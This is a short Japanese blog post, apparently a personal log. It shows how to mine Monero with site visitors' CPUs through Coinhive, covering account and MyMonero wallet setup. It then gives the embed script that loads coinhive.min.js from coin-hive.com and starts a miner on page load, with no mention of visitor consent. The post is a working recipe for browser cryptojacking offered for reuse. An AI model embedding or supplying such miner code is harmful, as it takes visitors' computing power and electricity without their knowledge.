閲覧者のCPUパワーで仮想通貨マイニングしてみた | Coinhive で XMR マイニング
あらすじ
トレントサイトが、訪問者のCPUを使って仮想通貨マイニングをするという事件が起こった。
一体どんなトリックを…と調べたところ
どうやらjsで簡単にできてしまうようだ。
なんと恐ろしい。
というわけで、いつもの調子でやってみたログを残す。
Coinhiveのアカウント作成
Coinhiveのサイトからサインアップする。
coin-hive.com
メールとパスワードを登録すると、認証メールが届くので確認する。
ペイメント設定をする。
MyMoneroのウォレットが必要。
MyMoneroでウォレット作成
MyMoneroでウォレット作成。
Create an accountを押す。
Your Private Login Key をメモ帳に保存する。
そしてConfirm your Private Login Keyにコピペし、ログイン。
出て来たアドレスをコピーし、CoinhiveのMonero Payment Addressにペーストする。
Script取得
Coinhiveのトップページにある下記ソースをコピる。
<script src="https://coin-hive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.User('<site-key>', 'john-doe'); miner.start(); </script>
site-keyを先ほどのSite Key (Public)に置き換える。